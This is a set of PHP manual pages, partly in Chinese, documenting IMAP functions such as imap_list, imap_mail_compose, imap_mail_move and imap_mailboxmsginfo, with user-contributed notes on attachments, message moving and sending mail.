reference should normally be just the server specification as described in imap_open().

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

pattern

指定在邮箱层级的何处开始查找。

在组成 pattern 的字符中可使用两个特殊字符： '*' 和 '%'。 '*' 是指返回所有邮箱目录. 如果将 '*' 作为 pattern 参数时, 则会返回整个邮箱层级结构。 '%' 是指只返回当前级次。 '%' 作为 pattern 参数则只会返回顶层邮箱； '~/mail/%' 用于 UW_IMAPD 则会返回名为 ~/mail 的目录, 但不包含其子目录。

返回值

Returns an array containing the names of the mailboxes or false in case of failure.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_list() example

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
or die("can't connect: " . imap_last_error());

$list = imap_list($mbox, "{imap.example.org}", "*");
if (is_array($list)) {
foreach ($list as $val) {
echo imap_utf7_decode($val) . "\n";
}
} else {
echo "imap_list failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

参见

  • imap_getmailboxes() - Read the list of mailboxes, returning detailed information on each one
  • imap_lsub() - List all the subscribed mailboxes

User Contributed Notes

maxime dot marais+php at gmail dot com 04-Apr-2019 11:51
Please be aware that if you are trying to list an empty mailbox, imap_list will return FALSE as if there was an error instead of an empty array() as one may expect.

Example:

With a brand new account created on your mail server, with an empty INBOX, you will get:

$list = imap_list( $imap_stream, $ref, "INBOX/*");
var_dump( $list );
// bool(false)
Anonymous 19-Mar-2019 09:56
use
echo mb_convert_encoding($val, "utf-8", "UTF7-IMAP");
for cyrrilic folder names
jemore at free dot fr 29-Mar-2014 02:02
With the values returned from the imap_list function, you can search a message in the folder, but you have to use the imap_reopen function before . Continuing the previous example (from c6h1206free at gmail dot com )

<?php
  $srv = '{imap.example.com}';
  $conn = imap_open($srv, 'me', 'mypass');
  $boxes = imap_list($conn, $srv, '*');
  foreach($boxes as $box)
  {
    imap_reopen($srv, $box);
    var_dump(imap_search($srv, "ALL"));
  }
  imap_close($conn);
?>
c6h1206free at gmail dot com 16-Sep-2008 12:00
imap_list returns a simple array of strings that look just like the $ref parameter one needs to specify:

<?php

  $srv = '{imap.example.com}';

  $conn = imap_open($srv, 'me', 'mypass');

  $boxes = imap_list($conn, $srv, '*');

  print_r($boxes);
  imap_close($conn);
?>

Output:

<pre>
Array
(
    [0] => {imap.example.com}Calendar
    [1] => {imap.example.com}Contacts
    [2] => {imap.example.com}Deleted Items
    [3] => {imap.example.com}Drafts
    [4] => {imap.example.com}Journal
    [5] => {imap.example.com}Junk E-mail
    [6] => {imap.example.com}Notes
    [7] => {imap.example.com}Outbox
    [8] => {imap.example.com}RSS Feeds
    [9] => {imap.example.com}Sent Items
    [10] => {imap.example.com}Tasks
)
</pre>

These directly fill in the $ref argument for every function that takes one.
kevin at metalaxe dot com 05-Jun-2007 02:13
if there is an error imap_list returns FALSE not an empty array (as expected by docs)


别名 imap_list

  • ? imap_list
  • imap_listscan ?
  • PHP Manual
  • IMAP 函数
  • 别名 imap_list

imap_listmailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_listmailbox — 别名 imap_list()

说明

此函数是该函数的别名： imap_list().

User Contributed Notes

There are no user contributed notes for this page.


Returns the list of mailboxes that matches the given text

  • ? imap_listmailbox
  • imap_listsubscribed ?
  • PHP Manual
  • IMAP 函数
  • Returns the list of mailboxes that matches the given text

imap_listscan

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_listscan — Returns the list of mailboxes that matches the given text

说明

imap_listscan(
IMAP\Connection $imap,
string $reference,
string $pattern,
string $content
): array|false

Returns an array containing the names of the mailboxes that have content in the text of the mailbox.

This function is similar to imap_listmailbox(), but it will additionally check for the presence of the string content inside the mailbox data.

参数

imap

IMAP\Connection 实例。

reference

reference should normally be just the server specification as described in imap_open()

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

pattern

指定在邮箱层级的何处开始查找。

在组成 pattern 的字符中可使用两个特殊字符： '*' 和 '%'。 '*' 是指返回所有邮箱目录. 如果将 '*' 作为 pattern 参数时, 则会返回整个邮箱层级结构。 '%' 是指只返回当前级次。 '%' 作为 pattern 参数则只会返回顶层邮箱； '~/mail/%' 用于 UW_IMAPD 则会返回名为 ~/mail 的目录, 但不包含其子目录。

content

The searched string

返回值

Returns an array containing the names of the mailboxes that have content in the text of the mailbox, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_listmailbox() - 别名 imap_list
  • imap_search() - This function returns an array of messages matching the given search criteria

User Contributed Notes

There are no user contributed notes for this page.


别名 imap_lsub

  • ? imap_listscan
  • imap_lsub ?
  • PHP Manual
  • IMAP 函数
  • 别名 imap_lsub

imap_listsubscribed

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_listsubscribed — 别名 imap_lsub()

说明

此函数是该函数的别名： imap_lsub().

User Contributed Notes

There are no user contributed notes for this page.


List all the subscribed mailboxes

  • ? imap_listsubscribed
  • imap_mail_compose ?
  • PHP Manual
  • IMAP 函数
  • List all the subscribed mailboxes

imap_lsub

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_lsub — List all the subscribed mailboxes

说明

imap_lsub(IMAP\Connection $imap, string $reference, string $pattern): array|false

Gets an array of all the mailboxes that you have subscribed.

参数

imap

IMAP\Connection 实例。

reference

reference should normally be just the server specification as described in imap_open()

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

pattern

指定在邮箱层级的何处开始查找。

在组成 pattern 的字符中可使用两个特殊字符： '*' 和 '%'。 '*' 是指返回所有邮箱目录. 如果将 '*' 作为 pattern 参数时, 则会返回整个邮箱层级结构。 '%' 是指只返回当前级次。 '%' 作为 pattern 参数则只会返回顶层邮箱； '~/mail/%' 用于 UW_IMAPD 则会返回名为 ~/mail 的目录, 但不包含其子目录。

返回值

Returns an array of all the subscribed mailboxes, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_list() - Read the list of mailboxes
  • imap_getmailboxes() - Read the list of mailboxes, returning detailed information on each one

User Contributed Notes

There are no user contributed notes for this page.


Create a MIME message based on given envelope and body sections

  • ? imap_lsub
  • imap_mail_copy ?
  • PHP Manual
  • IMAP 函数
  • Create a MIME message based on given envelope and body sections

imap_mail_compose

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mail_compose — Create a MIME message based on given envelope and body sections

说明

imap_mail_compose(array $envelope, array $bodies): string|false

Create a MIME message based on the given envelope and bodies sections.

参数

envelope

An associative array of header fields. Valid keys are: "remail", "return_path", "date", "from", "reply_to", "in_reply_to", "subject", "to", "cc", "bcc" and "message_id", which set the respective message headers to the given string. To set additional headers, the key "custom_headers" is supported, which expects an array of those headers, e.g. ["User-Agent: My Mail Client"].

bodies

An indexed array of bodies. The first body is the main body of the message; only if it has a type of TYPEMULTIPART, further bodies are processed; these bodies constitute the bodies of the parts.

Body Array Structure
Key | Type | Description
type | int | The MIME type. One of TYPETEXT (default), TYPEMULTIPART, TYPEMESSAGE, TYPEAPPLICATION, TYPEAUDIO, TYPEIMAGE, TYPEMODEL or TYPEOTHER.
encoding | int | The Content-Transfer-Encoding. One of ENC7BIT (default), ENC8BIT, ENCBINARY, ENCBASE64, ENCQUOTEDPRINTABLE or ENCOTHER.
charset | string | The charset parameter of the MIME type.
type.parameters | array | An associative array of Content-Type parameter names and their values.
subtype | string | The MIME subtype, e.g. 'jpeg' for TYPEIMAGE.
id | string | The Content-ID.
description | string | The Content-Description.
disposition.type | string | The Content-Disposition, e.g. 'attachment'.
disposition | array | An associative array of Content-Disposition parameter names and values.
contents.data | string | The payload.
lines | int | The size of the payload in lines.
bytes | int | The size of the payload in bytes.
md5 | string | The MD5 checksum of the payload.

返回值

Returns the MIME message as string, 或者在失败时返回 false.

示例

Example #1 imap_mail_compose() example

<?php

$envelope["from"]= "joe@example.com";
$envelope["to"] = "foo@example.com";
$envelope["cc"] = "bar@example.com";

$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";

$filename = "/tmp/imap.c.gz";
$fp = fopen($filename, "r");
$contents = fread($fp, filesize($filename));
fclose($fp);

$part2["type"] = TYPEAPPLICATION;
$part2["encoding"] = ENCBINARY;
$part2["subtype"] = "octet-stream";
$part2["description"] = basename($filename);
$part2["contents.data"] = $contents;

$part3["type"] = TYPETEXT;
$part3["subtype"] = "plain";
$part3["description"] = "description3";
$part3["contents.data"] = "contents.data3\n\n\n\t";

$body[1] = $part1;
$body[2] = $part2;
$body[3] = $part3;

echo nl2br(imap_mail_compose($envelope, $body));

?>

User Contributed Notes

jvandeweghe at kipsu dot com 06-Jun-2017 09:22
The custom_headers envelope documentation is misleading. Its not actually an "associative array", its a regular array of headers.

This is wrong:

<?php
$envelope = [
    //...
    "custom_headers" => [
        "X-SES-CONFIGURATION-SET" => "example",
        "X-SES-MESSAGE-TAGS" => "emailType=example"
    ]
];
?>

This is right:

<?php
$envelope = [
    //...
    "custom_headers" => [
        "X-SES-CONFIGURATION-SET: example",
        "X-SES-MESSAGE-TAGS: emailType=example"
    ]
];
?>
coxsterdillon at hotmail dot com 08-Sep-2013 05:54
So following on from their example, once you've composed your email with attachment or whatever, you'll probably want to send it.

since imap_mail(...) takes the message as body and re-encodes it, ignoring all the hard work you've done already.

Only real solution I found is to post it yourself:

// open connect to mail server
$socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
if ($socket===false) {
    die('Error: socket_create, '.socket_strerror(socket_last_error()));
}

$server="myserver.com"; // say 10.0.0.1 or whatever your mail sever is
$port=25;  // again your mail server port, here generic smtp
if (socket_connect($socket,$server,$port)) {
    print "Connection successful\n";
}else {
    die('Error: socket_connect, '.socket_strerror(socket_last_error()));
}

// send it...
socket_write($socket,"HELO {$envelope["from"]}\n");
socket_write($socket,"MAIL FROM: {$envelope["from"]}\n");
socket_write($socket,"RCPT TO: {$envelope["to"]}\n");
socket_write($socket,"DATA\n");
socket_write($socket,"$message\n");
socket_write($socket,".\n");
socket_write($socket,"QUIT\n");

// done...
socket_close($socket);

Ofcourse the shell may work for you?

echo "Hello World" | mail -s "Greeting..." -a "attachSomeFile.txt" gspot@gmail.com
Guido 26-Aug-2008 10:25
For some email clients its necessary first to start with the body text and end with the attachment(s). Otherwise all the parts end up in attachments, also the body text (took a while to find this).

So example #1 (above) should be switched over, like:

$body[1] = $part1;
$body[2] = $part3;
$body[3] = $part2;
Freman 07-Aug-2007 05:57
Since at least PHP 4.3 the $part[] hash can contain the $part['type.parameters'] which expects a hash.

Unfortunately for "hans at lintoo dot dk" there doesn't appear to have ever been $part['parameters.name'] or a $part['dparameters.filename']

So it would appear the corrected code for his function is

<?php
            $part["type"] = TYPEAPPLICATION;
            $part["encoding"] = ENCBASE64;
            $part["subtype"] = "octet-stream";
            $part["description"] = $file_name;
            $part['disposition.type'] = 'attachment';
            $part['disposition'] = array ('filename' => $file_name);
            $part['type.parameters'] = array('name' => $file_name);
            $part["contents.data"] = base64_encode(fread($file_handle,$file_size));
?>
While this correctly sets the header

Content-Type: application/octet-stream; name="file_name"
Content-Transfer-Encoding: BASE64
Content-Description: file_name
Content-Disposition: attachment; filename="file_name"

But this is still not a good idea to blanket set every attachment as a application/octet-stream so please consider using the unix command file, or Fileinfo functions (or even trusting file upload mimetype) and pay attention to the code from "derf dot m at reseaunix dot net"
hans at lintoo dot dk 25-Sep-2005 11:30
Here is a little something for attaching files... This is already documented in the manual, but my solution involves some changes. This is based on testing and suggestions from others notes on this page.
<?php
//snip
if (count($_FILES) > 0) {
    $multipart["type"] = TYPEMULTIPART;
    $multipart["subtype"] = "mixed";
    $body[] = $multipart; //add multipart stuff
}
//snip
$uploaddir = ini_get("upload_tmp_dir"); //Get tmp upload dir from PHP.ini
foreach ($_FILES as $fieldName => $file) {
    for ($i=0;$i < count($file['tmp_name']);$i++) {
        if (is_uploaded_file($file['tmp_name'][$i])) {
            $file_handle = fopen($file["tmp_name"][$i], "rb");
            $file_name = $file["name"][$i];
            $file_size = filesize($file["tmp_name"][$i]);

            $part["type"] = TYPEAPPLICATION;
            $part["encoding"] = ENCBASE64;
            $part["subtype"] = "octet-stream";
            $part["description"] = $file_name;
            $part['disposition.type'] = 'attachment';
            $part['disposition'] = array ('filename' => $file_name);
            $part['dparameters.filename'] = $file_name;
            $part['parameters.name'] = $file_name;
            $part["contents.data"] = base64_encode(fread($file_handle,$file_size));

            $body[] = $part;
            unlink($file["tmp_name"][$i]);
        }
    }
}
//snip
?>
hope someone can use this...
Regards, Hans @ http://lintoo.dk/
hans at lintoo dot dk 23-Sep-2005 06:29
I got a lot of problems with attachments (multipart emails) and the fix directly below this note.
instead just include it in the optional headers argument as previously suggested:

<?php
$mail = str_replace("\r","",imap_mail_compose($envelope, $body));
imap_mail($_POST["to"],$_POST["subject"],'',$mail);
?>
"Nothing like a fix on a fix".

If you want to copy the message to ie: a sent folder do:
<?php
//take note of the link: $this->mbox, and the constant: self::$imapStream
$envelope["to"]  = $_POST["to"]; //included with imap_mail
$envelope["subject"]  = $_POST["subject"]; //included with imap_mail
$mail = imap_mail_compose($envelope, $body); //note no problems with \r
imap_append($this->mbox,self::$imapStream."INBOX.Sent",$mail ,"\\Seen");
?>
See imap_append for more info.... Enjoy!
thomas dot hebinck at digionline dot de 06-Sep-2003 05:28
It is a good idea to set the date header:
$envelope['date']=date('r');
Los Olvidados 23-Jan-2003 02:16
If you wish to send the output of this function, simply use it for the headers argument of imap_mail() or mail().  Keep in mind that those functions set the To: and Subject: headers, so including them in the envelope will create double entries.
trionon at mail dot ru 28-Jan-2002 11:03
At least the following items in $part[] hashes are parsed:

type
encoding
charset
subtype
id
description
disposition.type
disposition
contents.data
lines
bytes
md5

Note: $part['disposition'] is a hash:

$part['disposition.type'] = 'attachment';
$part['disposition'] = array ('filename'=>'file.txt');

This will transform in such part header:

Content-disposition: attachment; filename="file.txt"
prices at dflytech dot com 07-Jan-2002 09:22
The documentation above does not mention that you can use the index ["charset"] to set the character set of the messsage part.

Example:

$part1["type"]= "TEXT";
$part1["subtype"]="PLAIN";
$part1["charset"] = "koi8-r";

to send a message in Russian-koi8.

Scott  =)


Copy specified messages to a mailbox

  • ? imap_mail_compose
  • imap_mail_move ?
  • PHP Manual
  • IMAP 函数
  • Copy specified messages to a mailbox

imap_mail_copy

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mail_copy — Copy specified messages to a mailbox

说明

imap_mail_copy(
IMAP\Connection $imap,
string $message_nums,
string $mailbox,
int $flags = 0
): bool

Copies mail messages specified by message_nums to specified mailbox.

参数

imap

IMAP\Connection 实例。

message_nums

message_nums is a range not just message numbers (as described in » RFC2060).

mailbox

The mailbox name, see imap_open() for more information

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

flags

flags is a bitmask of one or more of

  • CP_UID - the sequence numbers contain UIDS
  • CP_MOVE - Delete the messages from the current mailbox after copying. If this flag is set, the function behaves identically to imap_mail_move().

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_mail_move() - Move specified messages to a mailbox

User Contributed Notes

jigar dot dhaduk79 at gmail dot com 29-Sep-2015 11:11
When we want to copy more than one mail, we can write '(string)' before msg_num. Like..

$msg_num = "1,2,3,4,5,6,7";
$copy = imap_mail_copy($imap_stream, (string) $msg_num, '[Gmail]/Important', CP_UID);
Ben 26-Jan-2013 01:18
If you use this function and you get the following notice:

Notice: Unknown: IMAP protocol error: Could not parse command (errflg=2) in Unknown on line 0

Notice: Unknown: Could not parse command (errflg=2) in Unknown on line 0

you should check the function parameters. This notice appears (according to what I found on the internet and my problems) when it gets an invalid $msglist. So be sure to give the right number (as a String!):
"$msg_num", $msg_num or (string) $msg_num.

Dont use '$msg_num' when calling the function, this will literally send the string $msg_num.
You can give a string like "1,3,5,7,8", which will work perfectly fine to move the given mails.

I had all my mailnumbers in an array ( $messageSet) and used

<?php
$messageSetImpl = implode ( "," , $messageSet );

imap_mail_copy( $imapStream, $messageSetImpl, $mailBox )
?>

What I hadn't had thougt of was that my $messageSet was sometimes empty, that was when I got the notice. So you might want to check that by putting first:

<?php
if ( !( empty( $messageSet ) ) ) {

$messageSetImpl = implode ( "," , $messageSet );

imap_mail_copy( $imapStream, $messageSetImpl, $mailBox )

}
?>

That should work.
richard dot oplustil at gmail dot com 26-Mar-2012 03:18
imap_ mail_ move and imap_mail_copy don't work with sequence numbers on MS Exchange. imap_ uid in combination with CP_UID works fine.
marcus at names dot co dot uk 08-Jul-2002 10:51
If you are having problems getting imap_mail_copy and imap_mail_move to work, check you have installed imap_devel (the imap development libraries) as well as imap (the imap daemon). Without it, PHP appears to configure correctly --with-imap, but some functions do not work.

It took me about 12 hours to figure this out!!
hxlvt at hotmail dot com 04-Jan-2001 04:37
After much fooling around, imap_mail_copy did work for me. One thing you might want to check, if you are having problems, is the new mailbox name. Make sure it is just a folder name, e.g. INBOX.haha without the server part.


Move specified messages to a mailbox

  • ? imap_mail_copy
  • imap_mail ?
  • PHP Manual
  • IMAP 函数
  • Move specified messages to a mailbox

imap_mail_move

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mail_move — Move specified messages to a mailbox

说明

imap_mail_move(
IMAP\Connection $imap,
string $message_nums,
string $mailbox,
int $flags = 0
): bool

Moves mail messages specified by message_nums to the specified mailbox. Note that the mail messages are actually copied to the mailbox, and the original messages are flagged for deletion. That implies that the messages in mailbox are assigned new UIDs.

参数

imap

IMAP\Connection 实例。

message_nums

message_nums is a range not just message numbers (as described in » RFC2060).

mailbox

The mailbox name, see imap_open() for more information

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

flags

flags is a bitmask and may contain the single option:

  • CP_UID - the sequence numbers contain UIDS

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

注释

Note:

imap_mail_move() will flag the original mail with a delete flag, to successfully delete it a call to the imap_expunge() function must be made.

参见

  • imap_mail_copy() - Copy specified messages to a mailbox

User Contributed Notes

FredN 02-Oct-2020 08:16
to get right the folders names for imap_mail_move/imap_mail_copy, do not guess, instead use imap_list
phpmanual at NOSPAMPLEASE dot headbank dot co dot uk 10-Sep-2020 12:57
Be aware that this function returning TRUE doesn't necessarily mean anything actually happened.

It counts as "success" if all messages matching the range you supply were moved; however that includes if there were _no_ matching messages to move.

So suppose you supply a sequence-number or UID that's invalid, e.g. because  it's no longer present in the source folder:

<?php
$res = imap_mail_move($stream, '99999', 'DestFolder', CP_UID);

var_dump($res); // bool(true)
?>

It's up to you to validate the desired message(s) before moving, and/or afterwards.
ThEDocTor 01-Feb-2011 10:15
To copy/move a mail in Gmail to a particular Folder like Starred/Spam/Drafts/Trash

use the following statement and don't forget to call CL_EXPUNGE or imap_expunge($mbox) after it.

<?php
imap_mail_copy($mbox,'16','[Gmail]/Starred'); // 16 is the message number, which can also be a range.(ex: '1:15')

imap_close($mbox,CL_EXPUNGE);
?>

Incase u want to send it to a personally created Label/folder(ex: Test) use..

<?php
imap_mail_copy($mbox,'16','Test');
imap_expunge($mbox);
imap_close($mbox);
?>
jim dot bodine at comcast dot net 04-Jul-2007 10:49
I offer the following example because it took me HOURS to figure this out

<?php
$this->mailInBox = imap_open($this->mailConnectString."INBOX", $this->accountLogin, $this->accountPassword);

            $this->messageCount = imap_num_msg($this->mailInBox);
            echo "Processing " . $this->messageCount . " messages:<Br>";
            for ($i = 1; $i <= $this->messageCount; ++$i) {
                $header = imap_header($this->mailInBox, $i);

                $prettydate = date("jS F Y", $header->udate);
                $fromHost = $header->from[0]->host;

                if (isset($header->from[0]->personal)) {
                    $personal = $header->from[0]->personal;
                } else {
                    $personal = $header->from[0]->mailbox;
                }

                $body = imap_fetchbody($this->mailInBox, $i, "1.1");
                if ($body == "") {
                   $body = imap_fetchbody($this->mailInBox, $i, "1");
                }

                    $move = "INBOX.processed" . date("Ymd");
                    echo "trying to move:" . $i . "<br>";
                    @imap_mail_move($this->mailInBox, $i, $move);

                }

?>
alex at bestgames dot ro 21-Nov-2005 01:36
After using imap_mail_move, imap_mail_copy or imap_delete it is necesary to call imap_expunge() function.
php at guardn dot de 09-Jul-2003 09:06
To move mails via IMAP on an Exchange Server into "Gel?schte Objekte" use:

imap_mail_move($mbox, $delmsg, "Gel&APY-schte Objekte");

It took me some tcpdumping to get this out, since both
imap_utf7_encode and
imap_utf8

did not translate it right.

Guardn
dinter at gmx dot de 27-Jan-2003 10:18
I've used a dot in
imap_mail_move($mbox,$movmsgid,'INBOX.send');
instead of
INBOX/test
and it work's fine.
vlad (php.net) 04-Nov-2002 01:37
This keeps biting me time after time. A lot of IMAP servers with quotas don't implement 'move' right - they do a 'copy&delete' instead and don't recognize that this conflicts with their quota implementetions. So, if you try to move a large message, you'll exceed your quota even though moving it does not increase the total size of your mailbox. This is not PHP-specific, but I bet it'll bite someone else besides me, so here you go.
juuuugroid at yahoo dot com 17-Jul-2002 02:28
I had the most trouble with figureing out what the message list was supposed to be.  There was one comment by jan@showstar.com but i was still terribly confused.  So I searched and searched and searched.  I read rfc2060 over 10 times.  Then BAM!  My brother found it here:

http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc2060.html#sec-6.4.7

Here is the importand stuff.

Another important field is the SEQUENCE, which identifies a set of messages by consecutive numbers from 1 to n where n is the number of messages in the mailbox.  A sequence may consist of a single number, a pair of numbers delimited by colon (equivalent to all numbers between those two numbers), or a list of single numbers or number pairs.  For example, the sequence 2,4:7,9,12:15 is equivalent to
   2,4,5,6,7,9,12,13,14,15 and identifies all those messages.

There is what I know about it.  BAM!
laurent dot penou at gadz dot org 17-Aug-2001 12:28
to complete the previous example, if the mbox/folders names are
{imap.free.fr}INBOX
{imap.free.fr}INBOX/draft
{imap.free.fr}INBOX/test

and you want to copy/move from INBOX to INBOX/test this is the syntax:

$mbox = imap_open("{imap.free.fr}INBOX",$mailuser,$mailpass)
      or die("can't connect: ".imap_last_error());
...
imap_mail_move($mbox,$messageset,"INBOX/test");

Hope this could help !
ian at showstar dot com 20-Jan-2000 06:41
The syntax for the message list is defined in RFC2060
It is a string, containing a list of message numbers and ranges, separated by commas (no spaces anywhere.) For example, "1,2,5,11:15,19" would be accepted by imap_mail_copy or imap_mail_move.
A range of messages is defined as two message numbers separated by a colon (Ex. "1:10".) Also, a "*" may be used to refer to the last message in a mailbox. (Ex. "1:*" refers to all messages)
Be careful not to use the same mailbox for source and destination, especially if you expunge the mailbox immediately afterwards; the message will be copied (back over itself), flagged as deleted (by the imap_mail_move function), and then expunged.

The following code will move the messages in the $msg_no[] array from the folder in $mbox_name to the folder in $newmbox_name: ($mbox is an already-opened imap stream)

<?php
if ($mbox_name != $newmbox_name) {
  reset($msg_no);
  $messageset = implode (",",$msg_no);
  imap_mail_move($mbox,$messageset,$newmbox_name);
  imap_expunge($mbox);
}
?>
portico dot nospam at neverwas dot net 11-Jan-2000 03:17
This function works, just not like everything else IMAP in PHP3... rather than feeding the server {server.ext/type:port}folder just feed it the folder's name.
matt at bonneau dot net 20-Dec-1999 03:49
This function copies the mail and then marks the source as deleted.  In order to see the changes, you must imap_expunge the source box.


Send an email message

  • ? imap_mail_move
  • imap_mailboxmsginfo ?
  • PHP Manual
  • IMAP 函数
  • Send an email message

imap_mail

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mail — Send an email message

说明

imap_mail(
string $to,
string $subject,
string $message,
?string $additional_headers = null,
?string $cc = null,
?string $bcc = null,
?string $return_path = null
): bool

This function allows sending of emails with correct handling of Cc and Bcc receivers.

The parameters to, cc and bcc are all strings and are all parsed as » RFC822 address lists.

参数

to

The receiver

subject

The mail subject

message

The mail body, see imap_mail_compose()

additional_headers

As string with additional headers to be set on the mail

cc

bcc

The receivers specified in bcc will get the mail, but are excluded from the headers.

return_path

Use this parameter to specify return path upon mail delivery failure. This is useful when using PHP as a mail client for multiple users.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | additional_headers, cc, bcc, and return_path are now nullable.

参见

  • mail() - 发送邮件
  • imap_mail_compose() - Create a MIME message based on given envelope and body sections

User Contributed Notes

Patanjali 13-Jan-2018 08:48
In response to Mathias Rav's comment.

While imap_mail might have this $rpath bug, it is hardly comparable to mail, because mail only uses the default send mail server account, and not a real mailbox, which you can programmatically interrogate and clean up.

Using the imap extension allows proper mail management and operation, like users not getting the cryptic server account name followed by 'on behalf of' the 'From' address that mail sourced emails show on some recipient clients.
Mathias Rav 23-Jun-2009 09:07
As per http://bugs.php.net/bug.php?id=30688 the $rpath argument is ignored, and since the (as of now) 4 year old bug is tagged WONTFIX in the bug tracker, this function is effectively deprecated in favour of mail().
uphonesimon at gmail dot com 22-Dec-2005 11:45
make sure you've correctly setup the SMTP parameters in php.ini
and aslo make sure that the SMTP server accepts relay

for some mail servers, you have to open up an imap stream, log in, and then you can send mail through imap_mail
bandpay at hotmail dot com 05-Jan-2001 06:01
Extending the above note.
When the socket connection is stablished, it works exactly as if you had openned a telnet connection to the news server. If you don't know what kind of headers you have to send to the news server, then I'll suggest that you better give it a try and play with a telnet connection like this:

telenet news.servername.com 119

eaxmple:

telnet news.euroconnect.dk 119
Trying 195.184.44.30...
Connected to news.euroconnect.net (195.184.44.30).
Escape character is '^]'.
200 news.euroconnect.net (Typhoon v1.2.1)

then you'll receive confirmation from the server that you are connected. Now type "help" and enter, and you'll see what commands are supported.

eaxmle:

help
100 Legal Commands
  article [<messageid>|number]
  authinfo type value
  body [<messageid>|number]
  date
  group newsgroup
  head [<messageid>|number]
  help
  last
  list [active wildmat|active.times|counts wildmat]
  list [overview.fmt|newsgroups wildmat]
  listgroup newsgroup
  mode reader
  newgroups yyyymmdd hhmmss [GMT]
  newnews newsgroups yyyymmdd hhmmss [GMT]
  next
  post
  stat [<messageid>|number]
  xhdr field [range]
  xover [range]
  xpat field range pattern
  quit

If you want to post a message, you can start by entring the "post" command.

example:

post
340 Send Article to be Posted

From here you can start to enter the header information.
The most important headers are:
From:
Subject:
Newsgroup:

after the ":" a "white space" must follow.

If you are posting the multipart message then remember
MIME-Version: 1.0

This one is also one of the important headers when you are posting a multipart message. The boundary must follow the content type in the same line.

Content-Type: multipart/mixed; boundary="------------4A11A9ABCFCA70DD4E0C3605"

Take a look at the article below to find out more about headers and packing of the message.

http://www.phpbuilder.com/columns/kartic20000807.php3


Get information about the current mailbox

  • ? imap_mail
  • imap_mime_header_decode ?
  • PHP Manual
  • IMAP 函数
  • Get information about the current mailbox

imap_mailboxmsginfo

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mailboxmsginfo — Get information about the current mailbox

说明

imap_mailboxmsginfo(IMAP\Connection $imap): stdClass

Checks the current mailbox status on the server. It is similar to imap_status(), but will additionally sum up the size of all messages in the mailbox, which will take some additional time to execute.

参数

imap

IMAP\Connection 实例。

返回值

Returns the information in an object with following properties:

Mailbox properties
Date | date of last change (current datetime)
Driver | driver
Mailbox | name of the mailbox
Nmsgs | number of messages
Recent | number of recent messages
Unread | number of unread messages
Deleted | number of deleted messages
Size | mailbox size

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_mailboxmsginfo() example

<?php

$mbox = imap_open("{imap.example.org}INBOX", "username", "password")
or die("can't connect: " . imap_last_error());

$check = imap_mailboxmsginfo($mbox);

if ($check) {
echo "Date: " . $check->Date . "<br />\n" ;
echo "Driver: " . $check->Driver . "<br />\n" ;
echo "Mailbox: " . $check->Mailbox . "<br />\n" ;
echo "Messages: " . $check->Nmsgs . "<br />\n" ;
echo "Recent: " . $check->Recent . "<br />\n" ;
echo "Unread: " . $check->Unread . "<br />\n" ;
echo "Deleted: " . $check->Deleted . "<br />\n" ;
echo "Size: " . $check->Size . "<br />\n" ;
} else {
echo "imap_mailboxmsginfo() failed: " . imap_last_error() . "<br />\n";
}

imap_close($mbox);

?>

User Contributed Notes

workshop200 dot com at gmail dot com 29-Jan-2018 09:55
If you need to get only time for the mailbox you should go with imap_check()
phrank 15-Mar-2010 05:32
imap_mailboxmsginfo() is NOT similar to imap_status(). You will easily recognize that if you compare the prototypes:

object imap_mailboxmsginfo  (  resource $imap_stream  )

object imap_status  (  resource $imap_stream  ,  string $mailbox  ,  int $options  )

One SIGNIFICANT difference is that imap_mailboxmsginfo() gets the mailbox name from the stream resource and imap_status() requires any mailbox name as second argument.
Maxg 30-Aug-2004 02:41
About the slowness of imap_mailboxmsginfo() : if used on an IMAP connection, I did checked my mailserver logs and it appeared to send FETCH commands to retrieve the headers of EVERY messages of the mailbox ...
So, if you have, let's say, 400 messages in a folder, the function will be very slow (>1.5 sec on a local server !) ...

I strongly advise you to use imap_status() instead, which only sends one < STATUS "Mailbox/Name" (MESSAGES UNSEEN) > and is actually a lot faster (at least with IMAP, but that's maybe not true with POP3)
m at tacker dot org 12-Mar-2003 01:55
The runtime difference between imap_status and imap_mailboxmsginfo is very significant on large mailboxes

<?php

/** opening connection to a
   * mailbox with 3987 messages
   * and retrive status information **/
$mbox = imap_open ('{mail.somwhere.com:110}', $user, $password);

$mbox_info = imap_status($mbox, '{mail.somwhere.com:110}INBOX', SA_MESSAGES);
/** took 11.05 seconds **/

$mbox_info = imap_mailboxmsginfo($mbox);
/** took 6 minutes 5.382 seconds **/

?>
